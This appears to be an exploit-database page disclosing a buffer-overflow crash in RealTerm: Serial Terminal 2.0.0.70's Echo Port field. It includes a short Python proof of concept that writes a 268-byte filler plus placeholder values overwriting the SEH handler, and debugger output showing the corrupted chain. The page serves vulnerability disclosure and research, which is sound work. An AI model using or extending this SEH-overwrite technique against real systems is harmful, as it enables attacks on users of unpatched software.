header-logo
Suggest Exploit
vendor:
RealTerm: Serial Terminal
by:
Alejandra Sánchez
7.8
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: RealTerm: Serial Terminal
Affected Version From: 2.0.0.70
Affected Version To: 2.0.0.70
Patch Exists: YES
Related CWE: N/A
CPE: a:realterm:realterm:2.0.0.70
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Windows 10 / Windows XP
2019

RealTerm: Serial Terminal 2.0.0.70 – ‘Echo Port’ Overflow Crash (SEH) (PoC)

RealTerm: Serial Terminal 2.0.0.70 is vulnerable to a buffer overflow in the 'Echo Port' tab. By sending a specially crafted payload of 268 bytes, an attacker can overwrite the SEH handler and cause a crash. The PoC creates a file 'EchoPort.txt' containing the payload, which can then be pasted into the 'Port' field of the 'Echo Port' tab. When the 'Change' button is clicked, the application will crash.

Mitigation:

Upgrade to the latest version of RealTerm: Serial Terminal.
Source

Exploit-DB raw data:

# -*- coding: utf-8 -*-
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow Crash (SEH) (PoC)
# Date: 16/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/ 
# Version: 2.0.0.70
# Tested on: Windows 10 / Windows XP 


# Proof of Concept:
# 1.- Run the python script "EchoPort.py", it will create a new file "EchoPort.txt"
# 2.- Copy the content of the new file 'EchoPort.txt' to clipboard
# 3.- Open realterm.exe 
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or 
# 8.- Crashed

# After the execution of POC, the SEH chain looks like this: 
# 0012F57C   43434343
# 42424242 *** CORRUPT ENTRY ***

# And the Stack

#0012F568   41414141  AAAA
#0012F56C   41414141  AAAA
#0012F570   41414141  AAAA
#0012F574   41414141  AAAA
#0012F578   42424242  BBBB  Pointer to next SEH record
#0012F57C   43434343  CCCC  SE handler


buffer = "\x41" * 268 
nseh = "\x42" * 4
seh = "\x43" * 4
f = open ("EchoPort.txt", "w")
f.write(buffer+nseh+seh)
f.close()